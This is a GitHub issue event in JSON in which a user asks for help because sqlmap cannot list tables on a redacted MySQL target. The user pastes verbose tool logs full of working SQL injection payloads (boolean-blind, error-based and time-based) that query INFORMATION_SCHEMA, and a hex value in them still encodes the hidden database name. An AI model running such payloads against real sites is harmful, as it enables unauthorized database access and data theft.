{"action":"opened","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1301","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1301/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1301/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1301/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/1301","id":95400178,"number":1301,"title":"[ERROR] unable to retrieve the table names for any database","user":{"login":"IceAges","id":13363168,"avatar_url":"https://avatars.githubusercontent.com/u/13363168?v=3","gravatar_id":"","url":"https://api.github.com/users/IceAges","html_url":"https://github.com/IceAges","followers_url":"https://api.github.com/users/IceAges/followers","following_url":"https://api.github.com/users/IceAges/following{/other_user}","gists_url":"https://api.github.com/users/IceAges/gists{/gist_id}","starred_url":"https://api.github.com/users/IceAges/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/IceAges/subscriptions","organizations_url":"https://api.github.com/users/IceAges/orgs","repos_url":"https://api.github.com/users/IceAges/repos","events_url":"https://api.github.com/users/IceAges/events{/privacy}","received_events_url":"https://api.github.com/users/IceAges/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":0,"created_at":"2015-07-16T10:07:14Z","updated_at":"2015-07-16T10:07:14Z","closed_at":null,"body":"Hello ,\r\nI receive this error while trying to fetch tables from a database. Could someone tell me what seems to be the problem?\r\nHere is the output without v3 \r\n-------------------------------------\r\nsqlmap -u *REDACTED* -D redacted_db --tables\r\n\r\n    sqlmap/1.0-dev - automatic SQL injection and database takeover tool\r\n    http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting at 02:48:02\r\n\r\n[02:48:02] [INFO] resuming back-end DBMS 'mysql' \r\n[02:48:02] [INFO] testing connection to the target URL\r\nsqlmap identified the following injection points with a total of 0 HTTP(s) requests:\r\n---\r\nPlace: GET\r\nParameter: *redacted*\r\n    Type: boolean-based blind\r\n    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)\r\n    Payload: *redacted* RLIKE (SELECT (CASE WHEN (8911=8911) THEN 100 ELSE 0x28 END))\r\n\r\n    Type: error-based\r\n    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause\r\n    Payload: *redacted* AND ROW(3832,6791)>(SELECT COUNT(*),CONCAT(0x7175716a71,(SELECT (CASE WHEN (3832=3832) THEN 1 ELSE 0 END)),0x7165696471,FLOOR(RAND(0)*2))x FROM (SELECT 4660 UNION SELECT 7223 UNION SELECT 7311 UNION SELECT 5634)a GROUP BY x)\r\n\r\n    Type: AND/OR time-based blind\r\n    Title: MySQL > 5.0.11 AND time-based blind\r\n    Payload: *redacted* AND SLEEP(5)\r\n---\r\n[02:48:03] [INFO] the back-end DBMS is MySQL\r\nweb application technology: Apache\r\nback-end DBMS: MySQL 5\r\n[02:48:03] [INFO] fetching tables for database: '*redacted_db*'\r\n[02:48:04] [WARNING] the SQL query provided does not return any output\r\n[02:48:04] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'\r\n[02:48:04] [INFO] fetching number of tables for database '*redacted_db*'\r\n[02:48:04] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\r\n[02:48:04] [INFO] retrieved:\r\n[02:48:09] [WARNING] time-based comparison requires larger statistical model, please wait.........................      \r\n[02:48:43] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors \r\n\r\n[02:48:46] [WARNING] unable to retrieve the number of tables for database '*redacted_db*'\r\n[02:48:46] [ERROR] unable to retrieve the table names for any database\r\ndo you want to use common table existence check? [y/N/q] n\r\nNo tables found\r\n[02:53:25] [INFO] fetched data logged to text files under ://\r\n\r\n--------------\r\n\r\n..and with -v3\r\n\r\n--------------\r\n\r\nsqlmap -u *REDACTED* -D *redacted_db* --tables -v3\r\n\r\n    sqlmap/1.0-dev - automatic SQL injection and database takeover tool\r\n    http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting at 03:00:21\r\n\r\n[03:00:21] [DEBUG] cleaning up configuration parameters\r\n[03:00:22] [DEBUG] setting the HTTP timeout\r\n[03:00:22] [DEBUG] setting the HTTP method to GET\r\n[03:00:22] [DEBUG] creating HTTP requests opener object\r\n[03:00:22] [INFO] resuming back-end DBMS 'mysql' \r\n[03:00:22] [INFO] testing connection to the target URL\r\n[03:00:23] [DEBUG] declared web page charset 'utf-8'\r\nsqlmap identified the following injection points with a total of 0 HTTP(s) requests:\r\n---\r\nPlace: GET\r\nParameter: *redacted*\r\n    Type: boolean-based blind\r\n    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)\r\n    Payload: *redacted* RLIKE (SELECT (CASE WHEN (8911=8911) THEN 100 ELSE 0x28 END))\r\n    Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))\r\n\r\n    Type: error-based\r\n    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause\r\n    Payload: *redacted* AND ROW(3832,6791)>(SELECT COUNT(*),CONCAT(0x7175716a71,(SELECT (CASE WHEN (3832=3832) THEN 1 ELSE 0 END)),0x7165696471,FLOOR(RAND(0)*2))x FROM (SELECT 4660 UNION SELECT 7223 UNION SELECT 7311 UNION SELECT 5634)a GROUP BY x)\r\n    Vector: AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)\r\n\r\n    Type: AND/OR time-based blind\r\n    Title: MySQL > 5.0.11 AND time-based blind\r\n    Payload: *redacted* AND SLEEP(5)\r\n    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])\r\n---\r\n[03:00:23] [INFO] the back-end DBMS is MySQL\r\nweb application technology: Apache\r\nback-end DBMS: MySQL 5\r\n[03:00:23] [INFO] fetching tables for database: '*redacted_db*'\r\n[03:00:23] [PAYLOAD] 100 AND ROW(9146,5372)>(SELECT COUNT(*),CONCAT(0x7175716a71,(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x646973636f756e746369676172735f32303135)),0x7165696471,FLOOR(RAND(0)*2))x FROM (SELECT 6539 UNION SELECT 6090 UNION SELECT 6376 UNION SELECT 3889)a GROUP BY x)\r\n[03:00:24] [WARNING] the SQL query provided does not return any output\r\n[03:00:24] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'\r\n[03:00:24] [INFO] fetching number of tables for database '*redacted_db*'\r\n[03:00:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\r\n[03:00:24] [PAYLOAD] 100 RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>51) THEN 100 ELSE 0x28 END))\r\n[03:00:26] [PAYLOAD] 100 RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>54) THEN 100 ELSE 0x28 END))\r\n[03:00:27] [PAYLOAD] 100 RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>56) THEN 100 ELSE 0x28 END))\r\n[03:00:28] [PAYLOAD] 100 RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>57) THEN 100 ELSE 0x28 END))\r\n[03:00:29] [INFO] retrieved: \r\n[03:00:29] [DEBUG] performed 4 queries in 4.79 seconds\r\n[03:00:29] [PAYLOAD] 100 AND 9631=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>51),SLEEP(5),9631)\r\n[03:00:29] [WARNING] time-based comparison requires larger statistical model, please wait.........................      \r\n[03:01:01] [PAYLOAD] 100 AND 9631=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>48),SLEEP(5),9631)\r\n[03:01:01] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors \r\n[03:01:02] [PAYLOAD] 100 AND 9631=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x646973636f756e746369676172735f32303135),1,1))>1),SLEEP(5),9631)\r\n[03:01:03] [INFO] retrieved: \r\n[03:01:03] [DEBUG] performed 3 queries in 34.17 seconds\r\n[03:01:03] [WARNING] unable to retrieve the number of tables for database '*redacted_db*'\r\n[03:01:03] [ERROR] unable to retrieve the table names for any database\r\ndo you want to use common table existence check? [y/N/q] n\r\nNo tables found\r\n[03:01:06] [INFO] fetched data logged to text files under \r\n\r\n---------\r\n\r\n--banner output\r\n\r\n[03:04:40] [INFO] the back-end DBMS is MySQL\r\n[03:04:40] [INFO] fetching banner\r\n[03:04:40] [INFO] resumed: 5.0.51a\r\nweb application technology: Apache\r\nback-end DBMS: MySQL 5\r\nbanner:    '5.0.51a'\r\n---------\r\n\r\nI did tried with --no-cast , time-delay , with no changes.\r\n\r\nAny help will be much appreciated!\r\n\r\nThanks!"}}